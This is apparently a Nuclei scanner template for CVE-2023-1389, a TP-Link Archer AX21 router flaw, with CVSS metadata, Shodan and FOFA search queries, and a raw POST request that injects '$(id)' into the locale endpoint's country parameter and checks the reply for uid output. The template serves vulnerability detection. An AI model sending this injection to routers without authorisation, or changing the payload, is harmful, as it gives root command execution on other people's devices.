id: CVE-2023-1389

info:
  name: TP-Link Archer AX21 (AX1800) - Unauthenticated Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    TP-Link Archer AX21 (AX1800) routers are vulnerable to unauthenticated OS command injection via the country parameter in the locale endpoint. This allows remote attackers to execute arbitrary commands as root.
  impact: |
    Unauthenticated attackers can exploit OS command injection through the country parameter in the locale endpoint to execute arbitrary commands as root and completely compromise TP-Link Archer AX21 routers.
  remediation: |
    Update to the latest firmware version provided by TP-Link.
  reference:
    - https://www.tenable.com/security/research/tra-2023-11
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1389
    - https://github.com/tenable/poc-cve-2023-1389
  classification:
    cve-id: CVE-2023-1389
    cwe-id: CWE-78
    epss-score: 0.93276
    epss-percentile: 0.99814
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    max-request: 1
    vendor: tp-link
    product: archer-ax21
    fofa-query: body="tp-link"
    shodan-query: 'title:"TP-Link Router"'
    verified: true
  tags: cve,cve2023,tp-link,archer,ax21,rce,router,kev,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        operation=write&country=$(id)

      - |
        POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        operation=write&country=$(id)

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: status
        status:
          - 200
# digest: 490a004630440220165986e942167c6a8a0429147036598f5a46a2c88e7b1b086eee3a2f2a6e67f702204e95ca318ae8726482ce8f8e469c2ebff573fb86fca3ccf0b06f6e0df39d4d78:922c64590222798bb761d5b6d8e72950